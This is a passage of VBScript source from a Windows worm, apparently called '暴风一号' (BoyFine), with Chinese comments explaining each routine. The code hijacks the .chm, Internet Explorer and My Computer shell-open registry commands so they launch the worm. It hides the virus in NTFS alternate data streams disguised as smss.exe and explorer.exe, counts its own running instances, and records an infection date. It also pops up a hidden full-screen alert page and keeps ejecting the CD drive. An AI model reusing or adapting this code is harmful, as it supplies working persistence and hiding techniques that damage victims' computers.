'//改变chm格式文件关联 Sub SetchmFileAss(sFilePath) On Error Resume Next Dim Value Value="%SystemRoot%/System32/WScript.exe "&""""&sFilePath&""""&" %1 %* " Call WriteReg("HKEY_LOCAL_MACHINE/SOFTWARE/Classes/chm.file/shell/open/command/", Value, "REG_EXPAND_SZ") End Sub '//篡改IE启动设置 Sub SetIEAss(sFilePath) On Error Resume Next Dim Value Value="%SystemRoot%/System32/WScript.exe "&""""&sFilePath&""""&" OIE " Call WriteReg("HKEY_LOCAL_MACHINE/SOFTWARE/Classes/Applications/iexplore.exe/shell/open/command/", Value, "REG_EXPAND_SZ") Call WriteReg("HKEY_CLASSES_ROOT/CLSID/{871C5380-42A0-1069-A2EA-08002B30309D}/shell/OpenHomePage/Command/", Value, "REG_EXPAND_SZ") End Sub '//改变我的电脑的打开关联,包括Win+E Sub SetMyComputerAss(sFilePath) On Error Resume Next Dim Value1,Value2 Value1="%SystemRoot%/System32/WScript.exe "&""""&sFilePath&""""&" OMC " Value2="%SystemRoot%/System32/WScript.exe "&""""&sFilePath&""""&" EMC " Call WriteReg("HKEY_CLASSES_ROOT/CLSID/{20D04FE0-3AEA-1069-A2D8-08002B30309D}/shell/", "", "REG_SZ") Call WriteReg("HKEY_CLASSES_ROOT/CLSID/{20D04FE0-3AEA-1069-A2D8-08002B30309D}/shell/open/command/", Value1, "REG_EXPAND_SZ") Call WriteReg("HKEY_CLASSES_ROOT/CLSID/{20D04FE0-3AEA-1069-A2D8-08002B30309D}/shell/explore/command/", Value2, "REG_EXPAND_SZ") End Sub '//获得系统驱动盘符名 Drive.SerialNumber 盘符序列号 c-->驱动器 C: - 固定<BR>序列号:-1598325125、d-->驱动器 D: - 固定<BR>序列号:237835280、e、f。 Function GetSerialNumber(Drv) On Error Resume Next Set d=fso.GetDrive(Drv) GetSerialNumber=d.SerialNumber '// 返回十进制序列号,用于唯一标识一个磁盘卷。Select Case d.DriveType Case 0: t = "未知" Case 1: t = "可移动" Case 2: t = "固定" '// Case 3: t = "网络" Case 4: t = "CD-ROM" Case 5: t = "RAM 磁盘" End Select GetSerialNumber=Replace(GetSerialNumber,"-","") End Function '//获得蠕虫病毒路径 &表示字符串相加 GetSpecialFolder 返回指定的特殊文件夹 Function GetMainVirus(N) On Error Resume Next MainVirusName=GetSerialNumber(GetSystemDrive())&".vbs" If GetFileSystemType(GetSystemDrive())="NTFS" Then If N=1 Then '//System 文件夹,包含库、字体和设备驱动程序文件。 SystemFolder GetMainVirus=Fso.GetSpecialFolder(N)&"/smss.exe:"&MainVirusName '//返回 如c:/windows/system32/smss.exe:72161642.vbs End If If N=0 Then '//Windows 文件夹,包含 Windows 操作系统安装的文件。 WindowsFolder GetMainVirus=Fso.GetSpecialFolder(N)&"/explorer.exe:"&MainVirusName '//返回 如c:/windows/explorer.exe:72161642.vbs End If Else GetMainVirus=Fso.GetSpecialFolder(N)&"/"&MainVirusName End If End Function '//返回指定路径vbs脚本的运行个数 Function VBSProcessCount(VBSPath) On Error Resume Next Dim WMIService, ProcessList, Process VBSProcessCount=0 Set WMIService=GetObject("winmgmts://./root/cimv2") Set ProcessList=WMIService.ExecQuery("Select * from Win32_Process Where "&"Name='cscript.exe' or Name='wscript.exe' or Name='svchost.exe'") For Each Process in ProcessList If InStr(Process.CommandLine, VBSPath)>0 Then VBSProcessCount=VBSProcessCount+1 End If Next End Function '//'用来计数wscript进程的个数,如果大于等于3个那么返回True Function PreDblInstance() On Error Resume Next PreDblInstance=False If VBSProcessCount(WScript.ScriptFullName)>= 3 Then PreDblInstance=True End If End Function '//获取快捷方式的vbs脚本地址 Function GetTargetPath(LnkPath) On Error Resume Next Dim Shortcut Set Shortcut=WshShell.CreateShortcut(LnkPath) GetTargetPath=Shortcut.TargetPath End Function '//读取文件 返回 TextStream Function GetCode(FullPath) On Error Resume Next Dim FileText Set FileText=FSO.OpenTextFile(FullPath, 1) '//打开指定的文件并返回一个 TextStream 对象,可以读取、写入此对象或将其追加到文件。 '// 1 以只读模式打开文件。不能对此文件进行写操作。 GetCode=FileText.ReadAll '//读入全部 TextStream 文件并返回结果字符串 FileText.Close End Function '//获得注册表 版本键值 获取windows版本 Function GetVersion() Dim VerInfo VerInfo="HKEY_CURRENT_USER/SoftWare/Microsoft/Windows NT/CurrentVersion/Windows/Ver" If ReadReg(VerInfo)="" Then GetVersion=0 Else GetVersion=CInt(ReadReg(VerInfo)) '//CInt 返回表达式,此表达式已被转换为 Integer 子类型的 Variant。 End If End Function '//网页文件BFAlert.hta Sub VirusAlert() On Error Resume Next Dim HtaPath,HtaCode HtaPath=Fso.GetSpecialFolder(1)&"/BFAlert.hta" HtaCode="<HTML><HEAD><TITLE>暴风一号</TITLE>"&VBCRLF&"<HTA:APPLICATION APPLICATIONNAME=""BoyFine V1.0"" SCROLL=""no"" windowstate=""maximize"" border=""none"""&VBCRLF&"SINGLEINSTANCE=""yes"" CAPTION=""no"" contextMenu=""no"" ShowInTaskBar=""no"" selection=""no"">"&VBCRLF&"</HEAD><BODY bgcolor=#000000><DIV align =""center"">"&VBCRLF&"<font style=""font-size:3500%;font-family:Wingdings;color=red"">N</font><BR>"&VBCRLF&"<font style=""font-size:200%;font-family:黑体;color=red"">暴风一号 </font>"&VBCRLF&"</DIV></BODY></HTML>" If FSO.FileExists(HtaPath)=False Then Call CreateFile(HtaCode, HtaPath) '//创建网页文件BFAlert.hta Call SetHiddenAttr(HtaPath) '//设置隐藏 End If Call Run(HtaPath) End Sub '//获得感染注册表时间键 Function GetInfectedDate() On Error Resume Next Dim DateInfo DateInfo="HKEY_CURRENT_USER/SoftWare/Microsoft/Windows NT/CurrentVersion/Windows/Date" If ReadReg(DateInfo)="" Then GetInfectedDate="" Else GetInfectedDate=CDate(ReadReg(DateInfo)) End If End Function '//弹出光驱 Sub MakeJoke(Times) On Error Resume Next Dim WMP, colCDROMs Set WMP = CreateObject( "WMPlayer.OCX" ) '//创建WMPlayer.OCX插件对象 Set colCDROMs = WMP.cdromCollection '//系统中光驱 If colCDROMs.Count >0 Then For i=1 to Times colCDROMs.Item(0).eject() '//退出抽取式设备 WScript.Sleep 3000 colCDROMs.Item(0).eject() Next End If Set WMP = Nothing End Sub |